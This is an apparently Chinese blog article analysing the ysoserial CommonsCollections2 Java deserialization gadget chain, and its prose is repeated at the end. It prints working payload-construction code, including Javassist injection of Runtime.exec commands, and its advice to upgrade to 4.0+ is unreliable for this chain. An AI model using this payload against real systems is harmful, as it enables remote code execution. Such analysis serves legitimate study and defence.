Ysoserial CommonsColletions2 两个问题
字数 1793 2025-08-29 08:31:53

Ysoserial CommonsCollections2 利用链深入分析

0x00 背景介绍

CommonsCollections2 是 ysoserial 工具中针对 Apache Commons Collections 库的一个利用链,它利用了 Java 反序列化漏洞来执行任意命令。本文将从技术角度深入分析这个利用链的构造原理和实现细节。

0x01 Gadget Chain 分析

完整的利用链如下:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
        TransformingComparator.compare()
            InvokerTransformer.transform()
                Method.invoke()
                    Runtime.exec()

0x02 关键组件分析

1. PriorityQueue 类

PriorityQueue 是 Java 中的一个优先级队列实现,它在反序列化时会触发排序操作:

private void readObject(java.io.ObjectInputStream s) 
    throws java.io.IOException, ClassNotFoundException {
    // 读取基本信息和数组长度
    s.defaultReadObject();
    s.readInt();
    
    // 读取所有元素
    queue = new Object[size];
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    
    // 堆化操作(排序)
    heapify();
}

排序过程中会调用比较器:

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

2. TransformingComparator 比较器

这是 Apache Commons Collections 提供的一个比较器实现:

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

3. InvokerTransformer 转换器

这是实际执行方法调用的关键组件:

public O transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class<?> cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

4. TemplatesImpl 类

用于承载恶意字节码:

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer = new TransformerImpl(
        this.getTransletInstance(), // 关键调用
        this._outputProperties,
        this._indentNumber,
        this._tfactory);
    // ...
}

private Translet getTransletInstance() throws TransformerConfigurationException {
    if (this._class == null) {
        this.defineTransletClasses(); // 定义类
    }
    AbstractTranslet translet = (AbstractTranslet) this._class[this._transletIndex].newInstance(); // 实例化触发代码执行
    // ...
}

0x03 Payload 构造分析

完整的 payload 构造代码如下:

public Queue<Object> getObject(final String command) throws Exception {
    // 1. 创建包含恶意代码的 TemplatesImpl 对象
    final Object templates = Gadgets.createTemplatesImpl(command);
    
    // 2. 初始化 InvokerTransformer,先设置为 toString 方法避免过早触发
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    
    // 3. 创建 PriorityQueue 并设置 TransformingComparator 比较器
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, 
        new TransformingComparator(transformer));
    
    // 4. 添加两个占位元素
    queue.add(1);
    queue.add(1);
    
    // 5. 通过反射修改 transformer 的方法名
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    
    // 6. 替换队列中的元素
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;
    
    return queue;
}

0x04 关键问题解答

1. 为什么 queue 要先用两个 1 占位?

虽然最初的说法(比较器要求元素类型一致)不完全准确,但确实有以下几个考虑:

  1. 避免过早触发:初始时 transformer 设置为调用 toString 方法,用基本类型 1 可以安全调用 toString
  2. 类型兼容性:虽然最终会替换为 TemplatesImpl 对象,但初始时使用简单类型可以减少复杂度
  3. 序列化兼容性:基本类型的序列化/反序列化行为更加可预测

实际上,也可以直接放入 TemplatesImpl 对象和其他对象,如:

queue.add(templates);
queue.add(new VerifyError("nothing"));

2. PriorityQueue 的 queue 字段使用 transient 修饰,为什么还能反序列化?

虽然 queue 字段被声明为 transient:

transient Object[] queue; // 非私有以简化嵌套类访问

但 PriorityQueue 实现了自定义的 writeObject 和 readObject 方法:

private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    s.defaultWriteObject();
    s.writeInt(Math.max(2, size + 1));
    // 显式写入队列元素
    for (int i = 0; i < size; i++)
        s.writeObject(queue[i]);
}

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    s.readInt();
    queue = new Object[size];
    // 显式读取队列元素
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    heapify();
}

这是 Java 序列化机制允许的,通过实现 writeObject/readObject 方法可以完全控制对象的序列化行为,即使字段被标记为 transient。

0x05 执行流程详解

  1. 反序列化触发:ObjectInputStream 读取 PriorityQueue 的序列化数据
  2. readObject 调用:PriorityQueue 的 readObject 方法被调用
  3. 元素读取:从流中读取所有元素到 queue 数组
  4. 堆化排序:heapify() 方法触发排序操作
  5. 比较器调用:排序过程中调用 TransformingComparator.compare()
  6. 转换器执行:比较器调用 InvokerTransformer.transform()
  7. 方法反射调用:transform() 方法通过反射调用 TemplatesImpl.newTransformer()
  8. 字节码加载:newTransformer() 触发字节码加载和实例化
  9. 静态代码执行:恶意类的静态初始化块中的代码被执行
  10. 命令执行:最终触发 Runtime.exec() 执行任意命令

0x06 恶意字节码生成

Gadgets.createTemplatesImpl() 方法使用 Javassist 修改字节码:

public static <T> T createTemplatesImpl(final String command, 
    Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
    
    final T templates = tplClass.newInstance();
    
    // 使用 Javassist 修改字节码
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    
    // 在静态初始化块中插入命令执行代码
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 
        command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\\\"") + "\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);
    
    final byte[] classBytes = clazz.toBytecode();
    
    // 将恶意字节码设置到 TemplatesImpl 中
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    
    return templates;
}

0x07 防御建议

  1. 升级 Commons Collections:使用最新版本(4.0+)
  2. 反序列化过滤:使用反序列化过滤器或白名单
  3. JEP 290:启用 Java 的序列化过滤器机制
  4. 代码审计:检查所有反序列化操作点
  5. 使用替代方案:考虑使用 JSON 等更安全的序列化格式

0x08 总结

CommonsCollections2 利用链通过精心构造的 PriorityQueue 对象,在反序列化时触发一系列方法调用,最终实现任意命令执行。理解这个利用链需要掌握:

  1. Java 序列化/反序列化机制
  2. PriorityQueue 的内部工作原理
  3. 反射和动态方法调用
  4. 字节码修改和加载机制
  5. Java 安全机制和绕过方法

通过深入分析这个利用链,可以帮助我们更好地理解 Java 反序列化漏洞的本质,并采取更有效的防御措施。

Ysoserial CommonsCollections2 利用链深入分析 0x00 背景介绍 CommonsCollections2 是 ysoserial 工具中针对 Apache Commons Collections 库的一个利用链,它利用了 Java 反序列化漏洞来执行任意命令。本文将从技术角度深入分析这个利用链的构造原理和实现细节。 0x01 Gadget Chain 分析 完整的利用链如下: 0x02 关键组件分析 1. PriorityQueue 类 PriorityQueue 是 Java 中的一个优先级队列实现,它在反序列化时会触发排序操作: 排序过程中会调用比较器: 2. TransformingComparator 比较器 这是 Apache Commons Collections 提供的一个比较器实现: 3. InvokerTransformer 转换器 这是实际执行方法调用的关键组件: 4. TemplatesImpl 类 用于承载恶意字节码: 0x03 Payload 构造分析 完整的 payload 构造代码如下: 0x04 关键问题解答 1. 为什么 queue 要先用两个 1 占位? 虽然最初的说法(比较器要求元素类型一致)不完全准确,但确实有以下几个考虑: 避免过早触发 :初始时 transformer 设置为调用 toString 方法,用基本类型 1 可以安全调用 toString 类型兼容性 :虽然最终会替换为 TemplatesImpl 对象,但初始时使用简单类型可以减少复杂度 序列化兼容性 :基本类型的序列化/反序列化行为更加可预测 实际上,也可以直接放入 TemplatesImpl 对象和其他对象,如: 2. PriorityQueue 的 queue 字段使用 transient 修饰,为什么还能反序列化? 虽然 queue 字段被声明为 transient: 但 PriorityQueue 实现了自定义的 writeObject 和 readObject 方法: 这是 Java 序列化机制允许的,通过实现 writeObject/readObject 方法可以完全控制对象的序列化行为,即使字段被标记为 transient。 0x05 执行流程详解 反序列化触发 :ObjectInputStream 读取 PriorityQueue 的序列化数据 readObject 调用 :PriorityQueue 的 readObject 方法被调用 元素读取 :从流中读取所有元素到 queue 数组 堆化排序 :heapify() 方法触发排序操作 比较器调用 :排序过程中调用 TransformingComparator.compare() 转换器执行 :比较器调用 InvokerTransformer.transform() 方法反射调用 :transform() 方法通过反射调用 TemplatesImpl.newTransformer() 字节码加载 :newTransformer() 触发字节码加载和实例化 静态代码执行 :恶意类的静态初始化块中的代码被执行 命令执行 :最终触发 Runtime.exec() 执行任意命令 0x06 恶意字节码生成 Gadgets.createTemplatesImpl() 方法使用 Javassist 修改字节码: 0x07 防御建议 升级 Commons Collections :使用最新版本(4.0+) 反序列化过滤 :使用反序列化过滤器或白名单 JEP 290 :启用 Java 的序列化过滤器机制 代码审计 :检查所有反序列化操作点 使用替代方案 :考虑使用 JSON 等更安全的序列化格式 0x08 总结 CommonsCollections2 利用链通过精心构造的 PriorityQueue 对象,在反序列化时触发一系列方法调用,最终实现任意命令执行。理解这个利用链需要掌握: Java 序列化/反序列化机制 PriorityQueue 的内部工作原理 反射和动态方法调用 字节码修改和加载机制 Java 安全机制和绕过方法 通过深入分析这个利用链,可以帮助我们更好地理解 Java 反序列化漏洞的本质,并采取更有效的防御措施。